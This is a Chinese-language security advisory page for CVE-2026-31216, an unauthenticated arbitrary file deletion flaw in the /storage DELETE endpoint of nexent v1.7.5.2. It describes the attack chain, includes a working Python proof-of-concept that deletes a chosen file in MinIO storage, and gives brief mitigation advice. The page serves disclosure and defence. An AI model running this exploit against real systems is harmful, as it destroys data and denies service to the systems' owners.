IPBUF安全漏洞报告
English
CVE-2026-31216 CVSS 9.1 严重

CVE-2026-31216 nexent任意文件删除漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31216
漏洞类型
任意文件删除
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
nexent

相关标签

任意文件删除权限绕过DoSnexentMinIOCVE-2026-31216

漏洞概述

nexent v1.7.5.2后端服务文件管理API存在未授权任意文件删除漏洞。由于DELETE /storage/{object_name:path}接口缺乏身份验证、授权及输入验证机制,未认证攻击者可构造恶意请求,利用object_name参数删除底层MinIO存储系统中的任意文件。成功利用将导致数据丢失及服务拒绝。

技术细节

该漏洞源于nexent v1.7.5.2后端服务在设计文件管理API时存在严重的安全疏忽。位于DELETE /storage/{object_name:path}的接口未实施任何身份验证或授权检查,允许匿名网络访问。同时,系统未对用户提交的object_name路径参数执行严格的输入验证或路径遍历防护。未经认证的远程攻击者可利用此缺陷,通过发送构造恶意的HTTP DELETE请求,指定任意文件路径(例如系统关键配置或业务数据)。后端服务盲目信任该输入并直接在底层MinIO存储系统上执行删除操作。此漏洞严重破坏了数据的完整性(I:H)和可用性(A:H),可导致不可逆的数据丢失及服务拒绝攻击。

攻击链分析

STEP 1
侦查与发现
攻击者扫描网络发现存在nexent v1.7.5.2服务的目标,并确认其开放了文件管理API端口。
STEP 2
漏洞利用
攻击者构造恶意的HTTP DELETE请求,目标指向/storage/{object_name:path}接口,并在object_name参数中填入想要删除的敏感文件路径。
STEP 3
执行删除
后端服务接收到请求后,由于未校验权限和参数,直接调用底层MinIO系统执行删除操作。
STEP 4
达成影响
目标文件被永久删除,导致系统配置丢失或业务数据损毁,进而引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_host, file_path): # The vulnerable endpoint allowing unauthenticated file deletion url = f"{target_host}/storage/{file_path}" try: # Sending DELETE request without authentication headers response = requests.delete(url, timeout=10) if response.status_code == 204 or response.status_code == 200: print(f"[+] Exploit successful: File '{file_path}' has been deleted.") return True else: print(f"[-] Exploit failed: Server returned status {response.status_code}") return False except Exception as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target sensitive_file = "config/app_settings.json" # Replace with target file path exploit(target, sensitive_file)

影响范围

nexent v1.7.5.2

防御指南

临时缓解措施
建议立即限制对/storage路径的网络访问,仅允许受信任的IP地址访问,或通过WAF拦截含有路径遍历特征的DELETE请求,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表